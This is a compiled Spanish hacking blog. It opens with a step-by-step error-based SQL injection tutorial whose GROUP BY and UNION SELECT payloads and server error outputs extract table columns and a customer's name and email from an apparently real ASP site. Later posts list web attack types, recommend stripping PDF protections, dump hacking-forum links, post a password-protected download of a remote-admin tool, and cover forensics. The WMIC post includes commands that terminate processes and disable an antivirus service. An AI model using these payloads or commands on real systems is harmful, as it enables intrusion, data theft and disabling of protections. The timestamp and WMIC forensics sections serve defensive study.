    Ahora si recopilamos la información que deberíamos de tener en nuestro notepad, podemos ver que ya tenemos el nombre de la tabla (Datos) y el primero campo (Id). Pero bien, ahora necesitamos sacar el resto de campos que componen la tabla Datos. ¿Para qué? Pues para conocer la estructura sobre la que estamos trabajando, ya que posteriores inyecciones necesitarán basarse en la info que vayamos obteniendo, a parte, el nombre de los campos nos darán una pista sobre donde puede haber la información que andamos buscando (una tabla que se llame passwords, tiene un altísimo, de un 98%, de que contenga passwords, y si encima hay otra columna con users, el trabajo lo tienes servido).

    Para poder ir sacando los campos en orden, nos valdremos de la siguiente inyección:

    ‘ GROUP BY Datos.Id having 1=1–

    ¿y qué es lo que nos vomita la web?

    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′

    [Microsoft][ODBC SQL Server Driver][SQL Server]La columna ‘Datos.clientes’ de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.

    D:\WADHOO01\T15\../sistema/include0.asp, línea 4

    Bien, ya tenemos el 2º campo: “clientes”. Pero, ¿como seguimos extrayendo información? Añadiendo mediante una “,” el nuevo campo descubierto, así la inyección nos dará el siguiente campo, quedando algo así:

    ‘ GROUP BY Datos.Id,clientes having 1=1–

    Y ahora nos devuelve la web:

    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′

    [Microsoft][ODBC SQL Server Driver][SQL Server]La columna ‘Datos.correo’ de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.

    D:\WADHOO01\T15\../sistema/include0.asp, línea 4

    Bien, lo mismo de antes, pero con el tercer campo, “correo”. No hace falta deciros que toda esta info de los campos debe de ser guardada en nuestro notepad.

    Ahora, tenemos que ir poniendo la misma inyección, únicamente con la adición de una nueva “,” y del campo qeu descubrimos hasta que nos salga algo tipo:

    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′

    [Microsoft][ODBC SQL Server Driver][SQL Server]El prefijo de columna ‘Datos’ no coincide con un nombre de tabla o con un alias usado en la consulta.

    D:\WADHOO01\T15\../sistema/include0.asp, línea 24

    Esto es el indicativo de que ya no hay más campos, por lo tanto ya sabemos que: la tabla se llama “Datos”, tiene tres campos que son Id, clientes y correo. En nuestro caso, como ya les comenté al inicio del tutorial, vamos a trabajar con los campos clientes y correo.

    Mostrando el contenido de los campos

    Ya tenemos los campos que nos hacían falta y que contiene la informacion que andabamos buscando, pero ahora nos hace falta “ver” esa información. Ahora es cuando entra en juego el uso de sentencias ‘ UNION SELECT. Para poder usarlo, necesitaremos facilitar el mismo número de campos que tiene la tabla, para ello usaremos “1″.

    Lo que haremos será primero encontrar un valor en el campo “clientes” y después encontrar su correo correspondient e. Para ello nos deberemos de basar en la ingeriniería social, yo por ejemplo voy a buscar el primer nombre que empiece por J. Entonces monto la inyección de esta forma:

    ‘ UNION SELECT MIN(Campo),1,1,1/* tantos “1″ como campos */ FROM Tabla WHERE campo > ‘j’–

    Con esto nos devolverá el primer nombre que empiece por “j”. El error que nos devuelve el contenido es devido a que la variable está cofigurada como de tipo “varchar” y al ser una letra con lo que operamos, la función “min()” sufre un error de sintaxis. Mi inyeccion es esta:

    ‘ UNION SELECT MIN(clientes),1,1 FROM Datos WHERE cleintes > ‘j’–

    Y me devuelve la web:

    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′

    [Microsoft] [ODBC SQL Server Driver] [SQL Server]Error de Sintaxis al convertir el valor varchar “Juanito” a una columna de datos tipo int.

    D:\WADHOO01\T15\../sistema/include0.asp, línea 24

    JOOJOOJOJO hay un cliente que se llama Juanito jejejeje. Veamos su correo:

    ‘ UNION SELECT MIN(correo),1,1 FROM Datos WHERE clientes = ‘Juanito’–

    Y el resultado es…

    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′

    [Microsoft] [ODBC SQL Server Driver] [SQL Server]Error de Sintaxis al convertir el valor varchar ” he@ArgeniversoHAck.com“>Juanito_de_noc he@ArgeniversoHAck.com” a una columna de datos tipo int.

    D:\WADHOO01\T15\../sistema/include0.asp, línea 24

    Pues ya tenemos nuestros datos y el cliente “juanito” tiene un correo que es he@ArgeniversoHAck.com“>Juanito_de_noc he@ArgeniversoHAck.com. Ahora transporatar estos conocimientos a un login, con user y password.

    Bueno espero k este tuto os alla serbido de algo.

    Salu2

    P.D.= tutotorial creado por Vengador De Las Sombras (Todo no, algo lo e puesto yo xD)

    http://www.jorgeisaac.com/?p=243

    fuentE:http://darknesshackteam.co.cc/foro/index.php?topic=479.0

    Tipos de ataquese en aplicaciones WEB

    0 comentarios

    Autenticación

    1

    Fuerza Bruta
    Un ataque de fuerza bruta es un proceso automatizado de prueba y error utilizado para adivinar un nombre de usuario, contraseña, número de tarjeta de crédito o clave criptográfica.

    2

    Autenticación Insuficiente
    La autenticación insuficiente ocurre cuando un sitio web permite a un atacante acceder a contenido sensible o funcionalidades sin haberse autenticado correctamente.

    3

    Débil Validación en la Recuperación de Contraseñas
    La débil validación en la recuperación de contraseñas se produce cuando un sitio web permite a un atacante obtener, modificar o recuperar, de forma ilegal, la contraseña de otro usuario.

    Autorización

    4

    Predicción de Credenciales/Sesión
    La predicción de credenciales/sesión es un método de secuestro o suplantación de un usuario del sitio web.

    5

    Autorización Insuficiente
    La autorización insuficiente se produce cuando un sitio web permite acceso a contenido sensible o funcionalidades que deberían requerir un incremento de las restricciones en el control de acceso.

    6

    Expiración de Sesión Insuficiente
    La expiración de sesión insuficiente se produce cuando un sitio web permite a un atacante reutilizar credenciales de sesión o IDs de sesión antiguos para llevar a cabo la autorización.

    7

    Fijación de Sesión
    La fijación de sesión es una técnica de ataque que fuerza al ID de sesión de un usuario a adoptar un valor determinado.



    Ataques en la parte cliente

    8

    Suplantación de Contenido
    La suplantación de contenido es una técnica de ataque utilizada para engañar al usuario haciéndole creer que cierto contenido que aparece en un sitio web es legítimo, cuando en realidad no lo es.

    9

    Cross-site Scripting
    Cross-site Scripting (XSS) es una técnica de ataque que fuerza a un sitio web a repetir código ejecutable facilitado por el atacante, y que se cargará en el navegador del usuario.

    Ejecución de comandos

    10

    Desbordamiento de Buffer
    La explotación de un desbordamiento de buffer es un ataque que altera el flujo de una aplicación sobreescribiendo partes de la memoria.

    11

    Ataques de Formato de Cadena
    Los ataques de formato de cadena alteran el flujo de una aplicación utilizando las capacidades proporcionadas por las librerías de formato de cadenas para acceder a otro espacio de memoria.

    12

    Inyección LDAP
    La inyección LDAP es una técnica de ataque usada para explotar sitios web que construyen sentencias LDAP a partir de datos de entrada suministrados por el usuario.

    13

    Comandos de Sistema Operativo
    Los comandos de sistema operativo es una técnica de ataque utilizada para explotar sitios web mediante la ejecución de comandos de sistema operativo a través de la manipulación de las entradas a la aplicación.

    14

    Inyección de código SQL
    La inyección de código SQL es una técnica de ataque usada para explotar sitios web que construyen sentencias SQL a partir de entradas facilitadas por el usuario.

    15

    Inyección de código SSI
    La inyección de código SSI (Server-side Include) es una técnica de explotación en la parte servidora que permite a un atacante enviar código a una aplicación web, que posteriormente será ejecutado localmente por el servidor web.

    16

    Inyección XPath
    La inyección XPath es una técnica de ataque utilizada para explotar sitios web que construyen consultas Xpath con datos de entrada facilitados por el usuario.

    Revelación de información

    17

    Indexación de Directorio
    La indexación/listado automático de directorio es una función del servidor web que lista todos los ficheros del directorio solicitado si no se encuentra presente el fichero de inicio habitual.

    18

    Fuga de Información
    La fuga de información se produce cuando un sitio web revela información sensible, como comentarios de los desarrolladores o mensajes de error, que puede ayudar a un atacante para explotar el sistema.

    19

    Path Traversal
    La técnica de ataque Path Traversal fuerza el acceso a ficheros, directorios y comandos que potencialmente residen fuera del directorio “document root” del servidor web.

    20

    Localización de Recursos Predecibles
    La localización de recursos predecibles es una técnica de ataque usada para descubrir contenido y funcionalidades ocultas en el sitio web.

    Ataques lógicos

    21

    Abuso de Funcionalidad
    El abuso de funcionalidad es una técnica de ataque que usa las propias capacidades y funcionalidades de un sitio web para consumir, estafar o evadir mecanismos de control de acceso.

    22

    Denegación de Servicio
    La denegación de servicio (Denial of Service, DoS) es una técnica de ataque cuyo objetivo es evitar que un sitio web permita la actividad habitual de los usuarios.

    23

    Anti-automatización Insuficiente
    La anti-automatización insuficiente se produce cuando un sitio web permite a un atacante automatizar un proceso que sólo debe ser llevado a cabo manualmente.

    24

    Validación de Proceso Insuficiente
    La validación de proceso insuficiente se produce cuando un sitio web permite a un atacante evadir o engañar el flujo de control esperado por la aplicación.


    fuente:http://www.kernelnet.com/content/view/304/2/

    Cómo eliminar las protecciones de un PDF

    0 comentarios

    Hoy he necesitado imprimir un documento PDF relacionado con el trabajo (interesante para mí y muchas otras personas). Era importante, porque el documento lo necesitaré tener consultable en papel en pocos días. Pero ¡oh sorpresa!, a pesar de ser un documento que mucha gente además de mí va a necesitar imprimir, éste está protegido ¡contra impresión! Pero vamos a ver… ¿por qué se empeñan en poner puertas al campo? Si quiero imprimirlo por muchas protecciones que pongan siempre podré sacar pantallazos e imprimir, ¿por qué nos ponen estas trabas?


    En fin, eso me ha llevado a descubrir un servicio online para eliminar las protecciones de los PDF (en concreto, puede eliminar la protección anti-impresión y la protección anti-copy-paste). Funciona perfectamente, tal y como podéis apreciar en las imágenes. Supongo que no durará mucho online…

    Fuente:

    http://seguinfo.wordpress.com/2007/11/29/como-eliminar-las-protecciones-de-un-pdf/

    http://diariolinux.com/2007/08/28/como-eliminar-las-protecciones-de-un-pdf/

    documentacion 1-ingles

    0 comentarios
    http://forum.darkc0de.com/index.php?action=vthread&forum=19&topic=3778
    http://forum.darkc0de.com/index.php?action=vthread&forum=19&topic=8915
    http://forum.darkc0de.com/index.php?action=vthread&forum=19&topic=6004
    http://nazrek.org/?p=482
    http://multimediaforensics.com/mobile-forensics-world-2009-t487.html-sid=502f083c2fcd50878ad3e88fc2344ed5#p1321
    http://www.experts-exchange.com/Security/Encryption/Q_22563579.html
    http://foro.elhacker.net/nivel_web/xst_cross_site_tracing-t206967.0.html;msg984184
    https://www.underground.org.mx/index.php?topic=14833.0;wap
    http://www.netsearch-ezine.org/ezines/ns008/ns8-0x0b.txt
    https://www.underground.org.mx/index.php?topic=19208.0;wap
    http://www.secuobs.com/plugs/11213.shtml
    http://en.wikipedia.org/wiki/Cross-site_tracing
    http://searchsoftwarequality.techtarget.com/sDefinition/0,,sid92_gci1188707,00.html
    http://www.owasp.org/index.php/Cross_Site_Tracing
    http://www.codinghorror.com/blog/archives/001175.html
    http://sigt.net/archivo/y-mas-fallos-xsrf-xss-para-wordpress.xhtml
    http://zer0z0org.blogspot.com/2008/08/metroflog-csrf-xsrf-cross-site-request.html
    http://www.owasp.org/index.php/LDAP_injection
    http://www.owasp.org/index.php/Testing_for_SSI_Injection_(OWASP-DV-009)
    http://www.netsearch-ezine.org/ezines/ns008/ns8-0x0b.txt
    http://www.kernelnet.com/content/view/304/2/
    http://foros.hackerss.com/t8411/ldap-injection-y-blind-ldap-injection
    http://elladodelmal.blogspot.com/2007/10/ldap-injection-blind-ldap-injection.html
    http://elladodelmal.blogspot.com/2008/04/jugando-con-ldap-iii-de-iii.html
    http://www.netsearch-ezine.org/ezines/ns008/ns8-0x08.txt
    http://www.jorgeisaac.com/?p=243
    http://argentinasec.blogspot.com/2008/05/inyecciones-sql-bsico-en-cdigos-php_29.html
    http://remoteexecution.com/foro/index.php?topic=2204.0
    http://foro.elhacker.net/nivel_web/gran_tutorial_sobre_inyecciones_sql_en_mysql-t247535.0.html
    http://www.foroswebgratis.com/tema-defacing-91570-729140.htm
    http://forum.darkc0de.com/index.php?action=vthread&forum=19&topic=4673

    ------------------------------------------------------------------------------

    http://www.sahw.com/wp/archivos/2008/12/02/analisis-forense-de-memoria-en-sistemas-windows/
    http://moyix.blogspot.com/2008/09/window-messages-as-forensic-resource.html
    http://ws.hackaholic.org/artigos/WSUpSigF_Shell.txt
    http://www.insidepro.com/eng/saminside.shtml
    http://foro.el-hacker.com/index.php?topic=139730.0
    http://www.lockpickingspain.com/
    http://hack0wn.com/forum/index.php?board=22.0
    http://www.spanish-hackers.com/
    http://bright-shadows.net/
    http://forensiczone.blogspot.com/2009/01/using-volatility-1.html
    http://blog.didierstevens.com/2006/09/18/a-windows-live-cd-plugin-for-my-userassist-utility/
    http://blog.didierstevens.com/programs/userassist/
    http://forensiczone.blogspot.com/2007/12/user-assist-data-in-ram-dump.html
    http://conexioninversa.blogspot.com/2009/02/forensics-con-volatility.html
    http://vidainformatico.blogspot.com/2005/11/como-hackear-hotmailenvenenamiento-arp.html
    http://conexioninversa.blogspot.com/2008/12/escuela-de-reciclaje.html
    http://conexioninversa.blogspot.com/2008/12/perdidos-en-el-espacio.html
    http://www.lifedork.com/sql-injection-google-scanner.html
    http://r00tsecurity.org/forums/index.php?showtopic=7627
    http://forum.darkc0de.com/index.php?action=vtopic&forum=19&sortBy=0&page=8
    http://www.eylion.com/web/content/view/15/2/

    Net Control 2 v7.3.4.384 - Admistra tu red

    0 comentarios


    Poderosa herramienta destinada a mantener el control remoto y la administración de redes locales.

    Net Control 2 es una utilidad ideal para administradores de redes locales de oficina, escuelas o redes domésticas.

    Ofrece un amplio rango de control y protección de funciones y permite el control de varios ordenadores al mismo tiempo.

    Sus funciones más importantes son las siguientes:

    1. Escritorio remoto:
    - Permite el control del ordenador remoto mediante ratón y teclado
    - El administrador puede recibir capturas de pantalla de varios ordenadores simultáneamente
    - El administrador puede enviar capturas de pantalla a los usuarios de los otros ordenadores

    2. Administración de programas
    - Ejecución y finalización de programas de los ordenadores remotos
    - Habilitación y deshabilitación de ejecuciones de programas remotos especificados por el administrador
    - Comando para enviar y ejecutar archivos
    - Programa para iniciar y terminar notificaciones

    3. Administración de archivos
    - Permite realizar operaciones con archivos como: copiar, borrar, renombrar y mover, etc., en varios ordenadores a la vez.

    4. Administración de apagado
    - Reinicio, apagado, wake up vía WOL, logging off de usuarios, soporte para modos stand-by e hibernación.

    5. Administración de acceso a Internet:
    - El administrador puede deshabilitar dinámicamente y habilitar el acceso a Internet de los ordenadores remotos.
    - Filtros de contenido para prevenir el acceso a determinadas páginas de Internet
    - Firewall interno para permitir la protección de los ordenadores de ataques externos

    6. Administración de restricción del sistema
    - El administrador puede cambiar dinámicamente las restricciones del sistema en los ordenadores remotos: acceso a ítems del Panel de Control, Menú Inicio, propiedades del escritorio y de red, etc.

    7. Mensajería instantánea y chat
    - El administrador puede enviar mensajes de texto, ejecutar archivos de sonido, etc.
    - Chat con usuarios iniciados por el administrador
    - Chat individual simple por red
    - Los usuarios pueden pedir chat con el administrador

    También soporta comandos por macros, ejecuciones batch y mucho, mucho más.

    Enlace de Descarga:
    http://rapidshare.com/files/.../Nt.Cntrl.2.v7.3.4.384.rar

    Password/Contraseña: todo-links

    FUENTE:
    http://todo-links.mejorforo.net/subido-por-moderadores-f2/programas-net-control-2-v734384-t27.htm

    Herramienta para auditoria de sistemas de telefonía.

    0 comentarios
    Se trata de WarVOX una suite de herramientas diseñadas para auditar la seguridad de sistemas telefónicos. WarVOX puede explorar y clasificar los sistemas: VoIP, faxes, módems, buzones de voz, IVR, PBXs y tonos dtmf.

    WarVOX es tan potente que en VoIP es capaz de escanear 1000 números por hora. WarVOX también captura el audio de las llamadas y las clasifica por dispositivos.

    Esta herramienta va mas allá del típico escáner de VoIP, es una suite completa para auditar sistemas de telefonía. Además permite realizar estadísticas y gráficos muy completos sobre el uso de dispositivos telefónicos en la red. Está disponible para plataformas Linux y especialmente diseñada para Ubuntu 8.10 y BackTrack 4.


    Más información y descarga de WarVOX:
    http://warvox.org/

    FUENTE:http://vtroger.blogspot.com/2009/03/herramienta-para-auditoria-de-telefonia.html

    Detectando 'timestamp' (I)

    0 comentarios
    Hablando con mis compañeros sobre hackers, troyanos y demás fauna vírica, nos surgío la duda de como el troyano 'conficker' es capaz de alterar (entre otras cosas) las propiedades de una carpeta o fichero.

    Parece ser que este malware al igual que algunos hackers es capaz de modificar todos los atributos de un archivo o carpeta, como fechas de acceso, creación y escritura, con el objetivo de pasar desapercibido por parte del administrador o usuario del sistema infectado

    De todas las cosas que este malware hace, hay una que me hizo pensar especialmente en una característica que tiene que ver en como funciona la estructura de disco y ficheros en windows.

    TABLA MAESTRA DE FICHEROS - MTF

    Por regla general los ficheros que se almacenan en disco con sistema de ficheros NTFS se registran en la tabla maestra de ficheros, comunmente conocida como MTF.

    La MFT es, en esencia, una tabla de base de datos relacional, que contiene atributos sobre los diferentes archivos. Digamos que actúa como punto de inicio de un volumen NTFS - una especie de "tabla de contenidos". También sería análogo a la tabla de asignación de archivos en una partición FAT

    Cuando cualquier archivo o directorio se crea en el volumen NTFS, se crea un registro dentro de la MFT.
    El tamaño de cada registro en la MFT parece ser una cuestión de cierta controversia, por lo que yo he observado es que cada registro es igual al tamaño del clúster del volumen, siendo un mínimo de 1024 bytes y un máximo de 4096. Sin embargo, algunas fuentes dicen que el tamaño de cada MFT registro es fijo, ya sea en 1024 o 2048 bytes.

    El sistema utiliza estos registros de MFT para almacenar información sobre el archivo o directorio, esta información es lo que entendemos como atributos.

    Como no tengo ningún conficker (¡¡ ni lo quiero !!) me he propuesto ver si se puede saber si un fichero ha sido alterado en su atributo de fecha ( timestamp).

    Para ello me he surtido de un conjunto de utilidades llamado 'FileOPS' (también se puede hacer con perl y powershell) que entre otras cosas permite cambiar el atributo de fechas de uno o varios ficheros, en la siguiente pantalla podemos ver como he modificado un fichero llamado 'CONFIDENCIAL.TXT y le he puesto que la fecha de acceso, modificación y creación pertenecen al 12 de febrero del 2010.

    Por su puesto todas las operaciones que se realicen con este fichero tendrán como partida el año 2010, si un hacker o malware hubiera puesto las fechas de instalación del sistema operativo, hubiera pasado a simple vista desapercibido.

    Para su comprobar el almacenamiento en el registro del MTF, voy abrir el disco con un editor hexadecimal, para ello voy a utilizar el programa 'HxD' que se puede descargar desde aquí (cualquier editor hexadecimal es valido).

    Si nos fijamos en la siguiente pantalla y una vez posicionados en el $MTF (nombre reservado por windows para la tabla maestra de ficheros) vemos que la entrada 'a pelo' del fichero contiene la fecha original de cuando se creo, es decir el día 24 de Marzo de 2009, por lo tanto windows (MTF) si que almacena la fecha original del fichero, aunque por otro lado nos miente en su visualización.

    Si esto mismo lo hacemos utilizando la herramienta forense por excelencia EnCase, vemos que en su lectura del MTF también detecta la fecha correcta y no la que se visualiza.

    CONCLUSIONES

    Como dijo una vez mi amigo Juanito (del diario de juanito), toda intrusión, todo roce, hasta un apreton de manos deja un rastro. En nuestro caso a Windows le ocurre lo mismo.

    Al final realmente disponemos de las fechas originales en los registro MTF, el problema es que hay muy pocas herramientas forenses (de código abierto) que hagan una comparativa en un entorno 'vivo' o 'encendido'. Excepcionalmente este problema lo tiene solucionado las herramientas especificas y profesionales como EnCase que si se encargan de realizar este tipo de verificaciones.

    En siguientes post veremos como automatizar este proceso y detectar las fechas originales de creación de un fichero. Para ello utilizaremos perl y PowerShell

    FUENTE Y COPIA:
    http://conexioninversa.blogspot.com/2009/03/detectando-timestamp-i.html

    Forensics WMIC

    0 comentarios
    WMIC es un conjunto de extensiones perteneciente al modelo de drivers de Windows y que viene preinstalado en el sistema operativo. Es funcional a partir de Windows 2000 y esta presente en toda la gama superior.

    Dispone de un set de utilidades en entorno gráfico, descargables desde aqui

    La ventaja de WMIC es que se puede utilizar de una forma muy cómoda desde la linea de comandos o utilizando cualquier lenguaje de programación conocido. WMIC
    es más intuitivo que WMI, en gran parte debido a los alias. Los alias son subcomandos que interactuan con el sistema operativo.

    También es capaz de generar los resultados en distintos tipos de ficheros, entre ellos los más comunes, XLS, CSV, HTM, etc.

    La base de su funcionamiento es la siguiente:

    wmic [global_switch] [options] [format]

    Mejor lo vemos con un ejemplo:

    Si quiero sacar una lista de recursos compartidos en formato tabla pondríamos el siguiente comando:

    wmic share list /format:table

    Siendo este el resultado:



    EMPEZAMOS

    Entrando en el caso que nos ocupa, me propuse automatizar el proceso, desarrolle un simple (pero efectivo) script en BAT, que a diversas horas o en determinados eventos, el servidor ejecuta este script y que a su vez devuelve un resultado en HTML, quedando publicado en la intranet web.

    La idea por supuesto es obtener información para posteriormente analizarla.

    Básicamente este es el script, que por su puesto es mejorable y que también se podría haber realizado con otras utilidades como las 'pstools'.



    Vamos a analizar algunas lineas de su contenido:

    'Computersystem' y 'registry' muestran la información de la máquina y fecha de instalación del registro, nota muy importante para un timeline de análisis forense.

    'Process' muestra los procesos y el ejecutable que lo contiene, si le añadimos 'creationdate' tendremos la fecha de creación del proceso

    'Startup' enseñará las aplicaciones que se ejecutan automáticamente al inicio del sistema o inicio de sesión del usuario

    'RDtoggle' indica si esta activado el acceso remoto por terminal server

    'logon' y 'group' muestra los usuarios que han realizado 'login' y los grupos actualmente creados'

    'job' las tareas programadas

    'netlogin' y 'netuse' muestra los usuarios que han realizado login, pero le añado las fechas de incio y fin de sesión. También muy importante.

    'nteventlog' me indica entre otras cosas la fecha de ultimo acceso y modificación de el fichero de eventos de seguridad, asi si esta activo o no.

    'sysdriver' me permite ver que drivers están instalados, el path donde se encuentran y si estan activos o no, importante para la detección de rootkits.

    Al final de todas las lineas estamos especificando que genere un fichero HTML que presenta el siguiente resultado y que se publica en la intranet










    Bien, partiendo de esta información, ya podemos poner toda la imaginación al poder, ya que no solo podemos capturar información, si no que podemos interactuar con las aplicaciones que estén instaladas en los servidores, por ejemplo podemos finalizar un proceso con este comando:

    wmic process where name="ashserv.exe" call terminate

    O podemos iniciar una aplicación:

    wmic process call create "C:\snort.exe"

    O podemos especificar como queremos que se ejecute el antivirus

    wmic service where caption="avast! Antivirus" call changestartmode "Disabled"

    Si ademas de todo ello, lo combinamos con NETCAT o First Response de MANDIANT, podemos enviar los resultados a otro ordenador o dispositivo para su posterior análisis

    CONCLUSIONES

    Aunque es más práctico de utilizar scripts basados en vbscripts o Powershell y WMIC es algo complicado de comprender (y dado que no existe apenas documentación clara al respecto) a cambio, diré que es rápido y efectivo, no hay que instalar ningún producto, dado que interactua con el sistema y las aplicaciones instaladas, permite la ejecución remota y se exporta en multitud de formatos. En combinación con otras herramientas, como las de Sysinternals, se convierte en una potente utilidad.

    También puede ser utilizado para auditar sistemas en los que no se nos permite instalar ningún software que no este aprobado por los administradores

    FUENTE Y ORIGINAL:http://conexioninversa.blogspot.com/2009/03/forensics-wmic-este-es-mi-kung-fu.html
    Powered by Bad Robot
    Helped by Blackubay